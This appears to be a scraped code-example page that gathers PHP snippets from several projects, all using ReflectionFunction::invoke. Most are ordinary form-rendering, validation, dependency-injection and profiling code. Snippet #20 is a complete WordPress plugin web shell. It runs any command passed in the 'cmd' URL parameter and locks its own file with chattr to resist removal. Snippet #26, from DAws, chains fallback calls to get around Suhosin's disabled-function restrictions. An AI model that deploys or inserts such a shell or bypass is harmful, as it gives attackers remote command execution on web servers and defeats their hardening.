                 $minimum = ANSWER_RANGE_MINIMUM;
             }
             $maximum = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_RANGE);
             if ($maximum == "" || !is_numeric($maximum)) {
                 $maximum = ANSWER_RANGE_MAXIMUM;
             }
             $others = $this->engine->getFill($variable, $var, SETTING_OTHER_RANGE);
             if (trim($others) == "") {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_RANGE, "[" . $minimum . "," . $maximum . "]"), replacePlaceHolders(array(PLACEHOLDER_MINIMUM => $minimum, PLACEHOLDER_MAXIMUM => $maximum), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_RANGE)));
             } else {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_RANGE_CUSTOM, "'" . $minimum . "," . $maximum . ";" . $others . "'"), replacePlaceHolders(array(PLACEHOLDER_MINIMUM => $minimum, PLACEHOLDER_MAXIMUM => $maximum), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_RANGE)));
             }
             if (!(contains($minimum, ".") || contains($maximum, "."))) {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_INTEGER, "true"), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_INTEGER));
             }
             if ($inline) {
                 $returnStr .= '<div class="form-group uscic-formgroup-inline"><label>
                             <div class="uscic-range ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input class="form-control uscic-form-control-inline ' . $dkrfnaclass . '" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $linkedto . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="uscic-range' . $inlineclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                 ' . $posttext . $inputgroupend . $dkrfna . '
                             </div>
                             </label></div>';
             } else {
                 $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">                                
                             <label>
                             <div class="uscic-range ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="form-control uscic-form-control ' . $dkrfnaclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                 ' . $posttext . $inputgroupend . $dkrfna . '</div>
                             </label>
                             </div>';
             }
             break;
         case ANSWER_TYPE_SLIDER:
             //slider
             $minimum = $this->engine->getFill($variable, $var, SETTING_MINIMUM_RANGE);
             $maximum = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_RANGE);
             if ($minimum == "" || !is_numeric($minimum)) {
                 $minimum = ANSWER_RANGE_MINIMUM;
             }
             $maximum = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_RANGE);
             if ($maximum == "" || !is_numeric($maximum)) {
                 $maximum = ANSWER_RANGE_MAXIMUM;
             }
             $orientation = "horizontal";
             if ($var->getSliderOrientation() == ORIENTATION_VERTICAL) {
                 $orientation = "vertical";
             }
             $step = $this->engine->replaceFills($var->getIncrement());
             $tooltip = "show";
             if ($var->getTooltip() == TOOLTIP_NO) {
                 $tooltip = "hide";
             }
             $returnStr .= $this->displaySlider($variable, $var, $varname, $id, $previousdata, $minimum, $maximum, $this->getErrorTextString($varname), $qa, $inlineclass, $step, $tooltip, $orientation, $dkrfna, $linkedto);
             break;
         case ANSWER_TYPE_DATE:
             //date
             $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                           <div class="uscic-date' . $inlineclass . ' ' . $qa . '">
                             <label>
                             ' . $this->displayDateTimePicker($varname, $id, $previousdata, getSurveyLanguagePostFix(getSurveyLanguage()), "true", "false", Config::usFormatSurvey(), Config::secondsSurvey(), Config::minutesSurvey(), $inlineclass, $inlinestyle, $inlinejavascript, $this->engine->replaceFills($var->getDateFormat()), $this->getErrorTextString($varname), $dkrfna, $variable, $linkedto) . '
                             </label>
                             </div>
                             </div>';
             break;
         case ANSWER_TYPE_TIME:
             //time
             $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                             <div class="uscic-time' . $inlineclass . ' ' . $qa . '">
                             <label>
                             ' . $this->displayDateTimePicker($varname, $id, $previousdata, getSurveyLanguagePostFix(getSurveyLanguage()), "false", "true", Config::usFormatSurvey(), Config::secondsSurvey(), Config::minutesSurvey(), $inlineclass, $inlinestyle, $inlinejavascript, $this->engine->replaceFills($var->getTimeFormat()), $this->getErrorTextString($varname), $dkrfna, $variable, $linkedto) . '
                             </label>
                             </div>
                             </div>';
             break;
         case ANSWER_TYPE_DATETIME:
             //date/time
             $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                             <div class="uscic-datetime' . $inlineclass . ' ' . $qa . '">
                             <label>
                             ' . $this->displayDateTimePicker($varname, $id, $previousdata, getSurveyLanguagePostFix(getSurveyLanguage()), "true", "true", Config::usFormatSurvey(), Config::secondsSurvey(), Config::minutesSurvey(), $inlineclass, $inlinestyle, $inlinejavascript, $this->engine->replaceFills($var->getDateTimeFormat()), $this->getErrorTextString($varname), $dkrfna, $variable, $linkedto) . '
                             </label>
                             </div>
                             </div>';
             break;
         case ANSWER_TYPE_OPEN:
             //open
             $minimumlength = $this->engine->getFill($variable, $var, SETTING_MINIMUM_LENGTH);
             $maximumlength = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_LENGTH);
             if ($minimumlength > 0) {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MINLENGTH, $minimumlength), replacePlaceHolders(array(PLACEHOLDER_MINIMUM_LENGTH => $minimumlength), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MINIMUM_LENGTH)));
             }
             $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MAXLENGTH, $maximumlength), replacePlaceHolders(array(PLACEHOLDER_MAXIMUM_LENGTH => $maximumlength), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MAXIMUM_LENGTH)));
             $minwords = $this->engine->getFill($variable, $var, SETTING_MINIMUM_WORDS);
             $maxwords = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_WORDS);
             if ($minwords > 0) {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MINWORDS, $minwords), replacePlaceHolders(array(PLACEHOLDER_MINIMUM_WORDS => $minimumwords), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MINIMUM_WORDS)));
             }
             $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MAXWORDS, $maxwords), replacePlaceHolders(array(PLACEHOLDER_MAXIMUM_WORDS => $maximumwords), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MAXIMUM_WORDS)));
             $pattern = $this->engine->getFill($variable, $var, SETTING_PATTERN);
             if (trim($pattern) != "") {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_PATTERN, $pattern), replacePlaceHolders(array(PLACEHOLDER_PATTERN => $pattern), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_PATTERN)));
             }
             if ($inline) {
                 $returnStr .= '<div class="form-group uscic-formgroup-inline"><label>
                             <textarea spellcheck="false" autocorrect="off" autocapitalize="off" ' . $placeholder . $linkedto . $inlinestyle . ' ' . $inlinejavascript . ' ' . $qa . ' ' . $this->getErrorTextString($varname) . ' id=' . $id . ' class="uscic-open-inline' . $inlineclass . ' ' . $dkrfnaclass . '" name=' . $varname . '>' . convertHTLMEntities($previousdata, ENT_QUOTES) . '</textarea>' . $dkrfna . '
                             </label></div>';
             } else {
                 $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                             <label>
                             <div class="uscic-open">
                             <textarea spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $inlinestyle . ' ' . $inlinejavascript . ' ' . $qa . ' ' . $this->getErrorTextString($varname) . ' id=' . $id . ' class="form-control uscic-form-control ' . $dkrfnaclass . '" name=' . $varname . '>' . convertHTLMEntities($previousdata, ENT_QUOTES) . '</textarea>
                                 </div>' . $dkrfna . '
                             </label>                                
                             </div>';
             }
             break;
         case ANSWER_TYPE_CALENDAR:
             //calendar
             $maximum = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_CALENDAR);
             $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                         <div class="uscic-calendar' . $inlineclass . '">' . $this->showCalendar($varname, $id, $previousdata, $maximum, "en", true) . '
                         <p style="display:none" id="' . $id . '_help" class="help-block">You can only select a maximum of ' . $maximum . ' days.</p>
                          </div>
                          </div>';
             break;
         case ANSWER_TYPE_CUSTOM:
             //custom
             /* input masking */
             $textmask = $this->addInputMasking($varname, $variable, $var);
             $minimum = $this->engine->getFill($variable, $var, SETTING_MINIMUM_RANGE);
             if ($minimum == "" || !is_numeric($minimum)) {
                 $minimum = ANSWER_RANGE_MINIMUM;
             }
             $maximum = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_RANGE);
             if ($maximum == "" || !is_numeric($maximum)) {
                 $maximum = ANSWER_RANGE_MAXIMUM;
             }
             $others = $this->engine->getFill($variable, $var, SETTING_OTHER_RANGE);
             if (trim($others) == "") {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_RANGE, "[" . $minimum . "," . $maximum . "]"), replacePlaceHolders(array(PLACEHOLDER_MINIMUM => $minimum, PLACEHOLDER_MAXIMUM => $maximum), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_RANGE)));
             } else {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_RANGE_CUSTOM, "'" . $minimum . "," . $maximum . ";" . $others . "'"), replacePlaceHolders(array(PLACEHOLDER_MINIMUM => $minimum, PLACEHOLDER_MAXIMUM => $maximum), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_RANGE)));
             }
             if (!(contains($minimum, ".") || contains($maximum, "."))) {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_INTEGER, "true"), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_INTEGER));
             }
             $tocall = $this->engine->getFill($variable, $var, SETTING_ANSWERTYPE_CUSTOM);
             $parameters = array();
             if (stripos($tocall, '(') !== false) {
                 $parameters = rtrim(substr($tocall, stripos($tocall, '(') + 1), ')');
                 $parameters = preg_split("/[\\s,]+/", $parameters);
                 $tocall = substr($tocall, 0, stripos($tocall, '('));
             }
             // add error string as parameter if we need it
             $parameters[] = $this->getErrorTextString($varname);
             //echo $tocall . '----';
             if (function_exists($tocall)) {
                 try {
                     $f = new ReflectionFunction($tocall);
                     $returnStr .= $f->invoke($variable, $parameters);
                 } catch (Exception $e) {
                 }
             }
     }
     if (!$inline) {
         $returnStr .= "</div>";
     }
     return $returnStr;
 }
コード例 #20
0
ファイル: shell.php プロジェクト: croupier/wordpress-shell
/*
Plugin Name: Cheap & Nasty Wordpress Shell
Plugin URI: https://github.com/leonjza/wordpress-shell
Description: Execute Commands as the webserver you are serving wordpress with! Shell will probably live at /wp-content/plugins/shell/shell.php. Commands can be given using the 'cmd' GET parameter. Eg: "http://192.168.0.1/wp-content/plugins/shell/shell.php?cmd=id", should provide you with output such as <code>uid=33(www-data) gid=verd33(www-data) groups=33(www-data)</code>
Author: Leon Jacobs
Version: 0.2
Author URI: https://leonjza.github.io
*/
# attempt to protect myself from deletion
$this_file = __FILE__;
@system("chmod ugo-w {$this_file}");
@system("chattr +i {$this_file}");
# grab the command we want to run from the 'cmd' GET parameter
$command = $_GET["cmd"];
# Try to find a way to run our command using various PHP internals
if (class_exists('ReflectionFunction')) {
    # http://php.net/manual/en/class.reflectionfunction.php
    $function = new ReflectionFunction('system');
    $function->invoke($command);
} elseif (function_exists('call_user_func_array')) {
    # http://php.net/manual/en/function.call-user-func-array.php
    call_user_func_array('system', array($command));
} elseif (function_exists('call_user_func')) {
    # http://php.net/manual/en/function.call-user-func.php
    call_user_func('system', $command);
} else {
    # this is the last resort. chances are PHP Suhosin
    # has system() on a blacklist anyways :>
    # http://php.net/manual/en/function.system.php
    system($command);
}
コード例 #21
0
ファイル: Container.php プロジェクト: szyhf/DIServer
 /**
  * 函数方法的依赖注入调用
  * 若函数需要使用参数,会优先选用传入的自定义参数数组
  * 若为未提供自定义参数,会尝试通过type-hint自动从容器实例化
  * 若实例化失败,会尝试使用该参数的默认值
  *
  * @param \ReflectionFunction $functionRef 方法的反射实例
  * @param array               $parameters  (可选)自定义提供的参数-实例列表['$paramName'=>'$instance']
  *
  * @return mixed 方法的返回值
  */
 protected function callFunction(\ReflectionFunction $functionRef, array $parameters = [])
 {
     $res = null;
     $dependencies = $functionRef->getParameters();
     if (empty($dependencies)) {
         //没有参数,直接调用
         $res = $functionRef->invoke();
     } else {
         //构造依赖项实例(包括已经由用户提供的)
         $instances = $this->getFunctionDependencies($functionRef, $parameters);
         $res = $functionRef->invokeArgs($instances);
     }
     return $res;
 }
コード例 #22
0
ファイル: Phpdebug.php プロジェクト: soulence1211/SOULENCE
function bl_profile_function($function, $args = '', $invocations = 1)
{
    if (!function_exists($function)) {
        bl_error('PHP Bug Lost says: Hey! function &quote;' . $function . '&quote; doesn\'t exists, I can\'t do profile.');
        return;
    }
    if (_bl_create_times) {
        bl_time('Start Time Mark for profile funtion ' . $function);
    }
    $invoke = new ReflectionFunction($function);
    $duration = array();
    $durations = array();
    $details = array();
    if (!empty($args)) {
        // invokeArgs
        if (!is_array($args)) {
            $call_args = array($args);
        } else {
            $call_args = $args;
        }
        for ($i = 0; $i < $invocations; $i++) {
            $start = microtime(true);
            $invoke->invokeArgs($call_args);
            $durations[] = microtime(true) - $start;
        }
    } else {
        // invoke
        for ($i = 0; $i < $invocations; $i++) {
            $start = microtime(true);
            $invoke->invoke();
            $durations[] = microtime(true) - $start;
        }
    }
    $duration['total'] = round(array_sum($durations), 4);
    $duration['average'] = round($duration['total'] / count($durations), 4);
    $duration['worst'] = round(max($durations), 4);
    $details = array('method' => $function, 'arguments' => $call_args, 'class' => '<span style="color:#ddd;">no-class</span>', 'invocations' => $invocations, 'duration' => $duration);
    // add this profile info
    _bl::$profile[] = $details;
    return;
}
コード例 #23
0
	function Entertainment_SendData($DeviceName, $ControlType, $CommParams, $CommType) {
      $CommConfig     = get_CommunicationConfiguration();
      $CommInterface  = $CommParams[0];
		$FunctionName   = $CommConfig[$CommInterface][c_Property_FunctionSnd];
		$FunctionScript = $CommConfig[$CommInterface][c_Property_ScriptSnd];
		$FunctionParameters = array();
		foreach ($CommParams as $CommIdx=>$CommParam) {
		   if ($CommParam==c_Template_Value) {
			   $FunctionParameters[] = GetValue(get_ControlIdByDeviceName($DeviceName, $ControlType));
		   } else if ($CommParam==c_Template_Code) {
		      $DeviceConfig = get_DeviceConfiguration();
		      $Value = GetValue(get_ControlIdByDeviceName($DeviceName, $ControlType));
			   $FunctionParameters[] = $DeviceConfig[$DeviceName][$ControlType][c_Property_Codes][$Value];
			} else {
			   $FunctionParameters[] = $CommParam;
			}
		}
		if (!Entertainment_Before_SendData($FunctionParameters)) {
		   return;
		}
	   IPSLogger_Trc(__file__, 'SendData '.$CommInterface.'.'.$FunctionName.'('.implode(',',$FunctionParameters).')');
		try {
			include_once $FunctionScript;
			$Function       = new ReflectionFunction($FunctionName);
			$Function->invoke($FunctionParameters);
		} catch (Exception $e) {
	     	IPSLogger_Err(__file__, 'Error Executing Function '.$FunctionName.':'.$e->getMessage());
		}
  		Entertainment_After_SendData($FunctionParameters);
	}
コード例 #24
0
ファイル: Array.php プロジェクト: how/openpasl
 /**
  * Validate the items in the array
  * 
  * @return boolean
  */
 public function Validate()
 {
     $Data = $this->getData();
     foreach ($Data as $key => $val) {
         $Callback = !empty($this->Callback[$key]) ? $this->Callback[$key] : $this->GlobalCallback !== null ? $this->GlobalCallback : false;
         if ($Callback === false) {
             Log::Add(__CLASS__ . ': Callback not set for "{$key}"');
             continue;
         }
         if (is_array($Callback)) {
             $obj = $Callback[0];
             $method = $Callback[1];
             // Method
             if (!is_object($obj)) {
                 $Object = new \ReflectionClass($obj);
                 $obj = $Object->newInstance();
             } else {
                 $Object = new \ReflectionObject($obj);
             }
             // Object
             $Method = $Object->getMethod($method);
             $Data = $Method->invoke($obj, $key, $val);
         } else {
             // Run function
             $Function = new \ReflectionFunction($Callback);
             $Data = $Function->invoke($key, $val);
         }
         if ($Data !== true) {
             $Error = new Error();
             $Error->Message = $Data;
             $Error->Name = $key;
             $Error->Value = $val;
             $this->addError($Error);
         }
     }
     if (count($this->getErrors()) == 0) {
         $this->setValidated(true);
         return true;
     } else {
         $this->setValidated(false);
         return false;
     }
 }
コード例 #25
0
ファイル: PHPValidator.php プロジェクト: rrmoura1/Abstergo
 /**
  * @param Lumine_Base $obj Objeto a ser validado
  * @return array - Retorna array contendo erros caso validacao invalida
  * @author Cairo Lincoln de Morais Noleto
  * @link http://caironoleto.wordpress.com
  * @author Hugo Ferreira da Silva
  * @link http://www.hufersil.com.br
  **/
 public static function validate(Lumine_Base $obj)
 {
     $fieldList = !empty(self::$validateList[$obj->_getName()]) ? self::$validateList[$obj->_getName()] : array();
     $errors = array();
     foreach ($fieldList as $fieldName => $validators) {
         // se ja houver um erro para o campo atual
         if (self::checkStackError($errors, $fieldName) == true) {
             // passa para o proximo campo
             continue;
         }
         foreach ($validators as $array) {
             // se ja houver um erro para o campo atual
             if (self::checkStackError($errors, $fieldName) == true) {
                 // passa para o proximo campo
                 break;
             }
             switch ($array["tipoValidacao"]) {
                 //Verifica se e String
                 case 'requiredString':
                     if (!is_string($obj->{$array}["campo"]) || strlen($obj->{$array}["campo"]) == 0) {
                         self::stackError($errors, $fieldName, $array['message']);
                     }
                     if (isset($array["minimo"]) && strlen($obj->{$array}['campo']) < $array['minimo']) {
                         self::stackError($errors, $fieldName, $array['message']);
                     }
                     // se foi informado o tamanho maximo
                     if (isset($array['maximo'])) {
                         // pega o campo
                         $field = $obj->_getField($fieldName);
                         // se o tamanho informado for maior que o comprimento
                         if (isset($field['length']) && $array['maximo'] > $field['length']) {
                             throw new Lumine_Exception('Tamanho invalido para o campo ' . $fieldName, Lumine_Exception::WARNING);
                         }
                         // alterado para se o usuario
                         // informou um tamanho minimo, mas nao o maximo,
                         // o maximo passa a ser o do campo
                     } else {
                         if (!isset($array['maximo']) && isset($array['minimo'])) {
                             $field = $obj->_getField($fieldName);
                             if (isset($field['length'])) {
                                 $array['maximo'] = $field['length'];
                             }
                         }
                     }
                     if (isset($array["maximo"]) && strlen($obj->{$array}['campo']) > $array['maximo']) {
                         self::stackError($errors, $fieldName, $array['message']);
                     }
                     break;
                     //Verifica se e Numero
                 //Verifica se e Numero
                 case 'requiredNumber':
                     if (!is_numeric($obj->{$array}["campo"])) {
                         self::stackError($errors, $fieldName, $array['message']);
                     } else {
                         if (is_numeric($obj->{$array}['campo'])) {
                             if (!is_null($array['minimo']) && $obj->{$array}['campo'] < $array['minimo']) {
                                 self::stackError($errors, $fieldName, $array['message']);
                             } else {
                                 if (!is_null($array['maximo']) && $obj->{$array}['campo'] > $array['maximo']) {
                                     self::stackError($errors, $fieldName, $array['message']);
                                 }
                             }
                         }
                     }
                     break;
                     //Verifica se Tamanho invalido
                 //Verifica se Tamanho invalido
                 case 'requiredLength':
                     if (isset($array["minimo"])) {
                         if (strlen($obj->{$array}["campo"]) < $array["minimo"]) {
                             self::stackError($errors, $fieldName, $array['message']);
                         }
                     }
                     if (isset($array["maximo"])) {
                         if (strlen($obj->{$array}["campo"]) > $array["maximo"]) {
                             self::stackError($errors, $fieldName, $array['message']);
                         }
                     }
                     break;
                     //Verifica se e email
                 //Verifica se e email
                 case 'requiredEmail':
                     //Lumine_Util::validateEmail( $val );
                     $res = Lumine_Util::validateEmail($obj->{$array}["campo"]);
                     if ($res === false) {
                         self::stackError($errors, $fieldName, $array['message']);
                     }
                     break;
                     //Verifica se e uma data
                 //Verifica se e uma data
                 case 'requiredDate':
                     $val = $obj->{$array}["campo"];
                     if (!preg_match('@^((\\d{2}\\/\\d{2}\\/\\d{4})|(\\d{4}-\\d{2}-\\d{2}))$@', $val, $reg)) {
                         self::stackError($errors, $fieldName, $array['message']);
                         // se digitou no formato com barras
                     } else {
                         if (!empty($reg[2])) {
                             list($dia, $mes, $ano) = explode('/', $reg[2]);
                             // se nao for formato brasileiro e norte-americano
                             if (!checkdate($mes, $dia, $ano) && !checkdate($dia, $mes, $ano)) {
                                 self::stackError($errors, $fieldName, $array['message']);
                             }
                             // se digitou no formato ISO
                         } else {
                             if (!empty($reg[3])) {
                                 list($ano, $mes, $dia) = explode('-', $reg[3]);
                                 // se for uma data valida
                                 if (!checkdate($mes, $dia, $ano)) {
                                     self::stackError($errors, $fieldName, $array['message']);
                                 }
                             }
                         }
                     }
                     break;
                     //Verifica se e uma data/hora
                 //Verifica se e uma data/hora
                 case 'requiredDateTime':
                     $val = $obj->{$array}["campo"];
                     if (!preg_match('@^((\\d{2}\\/\\d{2}\\/\\d{4})|(\\d{4}-\\d{2}-\\d{2})) (\\d{2}:\\d{2}(:\\d{2})?)$@', $val, $reg)) {
                         self::stackError($errors, $fieldName, $array['message']);
                         // se digitou no formato com barras
                     } else {
                         if (!empty($reg[2])) {
                             list($dia, $mes, $ano) = explode('/', $reg[2]);
                             // se nao for formato brasileiro e norte-americano
                             if (!checkdate($mes, $dia, $ano) && !checkdate($dia, $mes, $ano)) {
                                 self::stackError($errors, $fieldName, $array['message']);
                             }
                             // se digitou no formato ISO
                         } else {
                             if (!empty($reg[3])) {
                                 list($ano, $mes, $dia) = explode('-', $reg[3]);
                                 // se for uma data valida
                                 if (!checkdate($mes, $dia, $ano)) {
                                     self::stackError($errors, $fieldName, $array['message']);
                                 }
                             }
                         }
                     }
                     break;
                     //Verifica uniquidade
                     // - Alteracao por Hugo: Aqui fiz uma mudanca, porque
                     //   se fosse feita um update, daria erro. por isso, checamos as chaves primarias
                 //Verifica uniquidade
                 // - Alteracao por Hugo: Aqui fiz uma mudanca, porque
                 //   se fosse feita um update, daria erro. por isso, checamos as chaves primarias
                 case 'requiredUnique':
                     $reflection = new ReflectionClass($obj->_getName());
                     $objeto = $reflection->newInstance();
                     $objeto->{$fieldName} = $obj->{$fieldName};
                     $objeto->find();
                     $todas = true;
                     while ($objeto->fetch()) {
                         $pks = $objeto->_getPrimaryKeys();
                         foreach ($pks as $def) {
                             if ($objeto->{$def}['name'] != $obj->{$def}['name']) {
                                 $todas = false;
                                 self::stackError($errors, $fieldName, $array['message']);
                                 break;
                             }
                             if ($todas == false) {
                                 break;
                             }
                         }
                     }
                     unset($objeto, $reflection);
                     break;
                     //Verifica uma funcao
                 //Verifica uma funcao
                 case 'requiredFunction':
                     // se for um array
                     if (is_array($array['message'])) {
                         $result = call_user_func_array($array['message'], array($obj, $fieldName, $obj->{$fieldName}));
                         if ($result !== true) {
                             self::stackError($errors, $fieldName, $result);
                             break;
                         }
                     }
                     if (is_string($array['message'])) {
                         $function = new ReflectionFunction($array['message']);
                         $result = $function->invoke($obj, $fieldName, $obj->{$fieldName});
                         if ($result !== true) {
                             //$errors[] = $result;
                             self::stackError($errors, $fieldName, $result);
                         }
                         unset($function);
                     }
                     break;
                     //Verifica se e CPF
                 //Verifica se e CPF
                 case 'requiredCpf':
                     $res = ValidateCPF::execute($obj->{$array}["campo"]);
                     if ($res === false) {
                         self::stackError($errors, $fieldName, $array['message']);
                     }
                     break;
                     //Verifica se e CNPJ
                 //Verifica se e CNPJ
                 case 'requiredCnpj':
                     $res = ValidateCNPJ::execute($obj->{$array}["campo"]);
                     if ($res === false) {
                         self::stackError($errors, $fieldName, $array['message']);
                     }
                     break;
                 default:
                     return true;
                     break;
             }
         }
     }
     return $errors;
 }
コード例 #26
0
ファイル: DAws.php プロジェクト: danny4you2/DAws
function bypass_suhosin($function, $arg1 = null, $arg2 = null, $arg3 = null, $arg4 = null, $arg5 = null, $output_needed = True)
{
    //I found no other way to deal with arguments... poor me.
    if ($arg5 != null) {
        if (disabled_php("call_user_func") == False) {
            $return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4, $arg5);
        } else {
            if (disabled_php("call_user_func_array") == False) {
                $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
            } else {
                if (version_compare(PHP_VERSION, '5.0.0') >= 0 && disabled_php(null, "ReflectionFunction") == False) {
                    $ref_function = new ReflectionFunction($function);
                    $handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4, $arg5);
                    if (is_string($handle)) {
                        $return_value = $handle;
                    } else {
                        $return_value = fread($handle, 4096);
                        pclose($handle);
                    }
                } else {
                    if ($output_needed == False) {
                        if (version_compare(PHP_VERSION, '5.1.0') >= 0 && disabled_php(null, "ArrayIterator") == False) {
                            $it = new ArrayIterator(array(""));
                            iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4, $arg5));
                        } else {
                            if (disabled_php("register_tick_function") == False) {
                                declare (ticks=1);
                                register_tick_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
                                unregister_tick_function($function);
                            } else {
                                if (disabled_php("array_map") == False) {
                                    array_map($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
                                } else {
                                    if (disabled_php("array_walk") == False) {
                                        $x = array($arg1, $arg2, $arg3, $arg4, $arg5);
                                        array_walk($x, $function);
                                    } else {
                                        if (disabled_php("array_filter") == False) {
                                            array_filter(array($arg1, $arg2, $arg3, $arg4, $arg5), $function);
                                        } else {
                                            if (disabled_php("register_shutdown_function")) {
                                                register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        if ($arg4 != null) {
            if (disabled_php("call_user_func") == False) {
                $return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4);
            } else {
                if (disabled_php("call_user_func_array") == False) {
                    $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4));
                } else {
                    if (version_compare(PHP_VERSION, '5.0.0') >= 0 && disabled_php(null, "ReflectionFunction") == False) {
                        $ref_function = new ReflectionFunction($function);
                        $handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4);
                        if (is_string($handle)) {
                            $return_value = $handle;
                        } else {
                            $return_value = fread($handle, 4096);
                            pclose($handle);
                        }
                    } else {
                        if ($output_needed == False) {
                            if (version_compare(PHP_VERSION, '5.1.0') >= 0 && disabled_php(null, "ArrayIterator") == False) {
                                $it = new ArrayIterator(array(""));
                                iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4));
                            } else {
                                if (disabled_php("register_tick_function") == False) {
                                    declare (ticks=1);
                                    register_tick_function($function, $arg1, $arg2, $arg3, $arg4);
                                    unregister_tick_function($function);
                                } else {
                                    if (disabled_php("array_map") == False) {
                                        array_map($function, array($arg1, $arg2, $arg3, $arg4));
                                    } else {
                                        if (disabled_php("array_walk") == False) {
                                            $x = array($arg1, $arg2, $arg3, $arg4);
                                            array_walk($x, $function);
                                        } else {
                                            if (disabled_php("array_filter") == False) {
                                                array_filter(array($arg1, $arg2, $arg3, $arg4), $function);
                                            } else {
                                                if (disabled_php("register_shutdown_function")) {
                                                    register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4);
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        } else {
            if ($arg3 != null) {
                if (disabled_php("call_user_func") == False) {
                    $return_value = call_user_func($function, $arg1, $arg2, $arg3);
                } else {
                    if (disabled_php("call_user_func_array") == False) {
                        $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3));
                    } else {
                        if (version_compare(PHP_VERSION, '5.0.0') >= 0 && disabled_php(null, "ReflectionFunction") == False) {
                            $ref_function = new ReflectionFunction($function);
                            $handle = $ref_function->invoke($arg1, $arg2, $arg3);
                            if (is_string($handle)) {
                                $return_value = $handle;
                            } else {
                                $return_value = fread($handle, 4096);
                                pclose($handle);
                            }
                        } else {
                            if ($output_needed == False) {
                                if (version_compare(PHP_VERSION, '5.1.0') >= 0 && disabled_php(null, "ArrayIterator") == False) {
                                    $it = new ArrayIterator(array(""));
                                    iterator_apply($it, $function, array($arg1, $arg2, $arg3));
                                } else {
                                    if (disabled_php("register_tick_function") == False) {
                                        declare (ticks=1);
                                        register_tick_function($function, $arg1, $arg2, $arg3);
                                        unregister_tick_function($function);
                                    } else {
                                        if (disabled_php("array_map") == False) {
                                            array_map($function, array($arg1, $arg2, $arg3));
                                        } else {
                                            if (disabled_php("array_walk") == False) {
                                                $x = array($arg1, $arg2, $arg3);
                                                array_walk($x, $function);
                                            } else {
                                                if (disabled_php("array_filter") == False) {
                                                    array_filter(array($arg1, $arg2, $arg3), $function);
                                                } else {
                                                    if (disabled_php("register_shutdown_function")) {
                                                        register_shutdown_function($function, $arg1, $arg2, $arg3);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            } else {
                if ($arg2 != null) {
                    if (disabled_php("call_user_func") == False) {
                        $return_value = call_user_func($function, $arg1, $arg2);
                    } else {
                        if (disabled_php("call_user_func_array") == False) {
                            $return_value = call_user_func_array($function, array($arg1, $arg2));
                        } else {
                            if (version_compare(PHP_VERSION, '5.0.0') >= 0 && disabled_php(null, "ReflectionFunction") == False) {
                                $ref_function = new ReflectionFunction($function);
                                $handle = $ref_function->invoke($arg1, $arg2);
                                if (is_string($handle)) {
                                    $return_value = $handle;
                                } else {
                                    $return_value = fread($handle, 4096);
                                    pclose($handle);
                                }
                            } else {
                                if ($output_needed == False) {
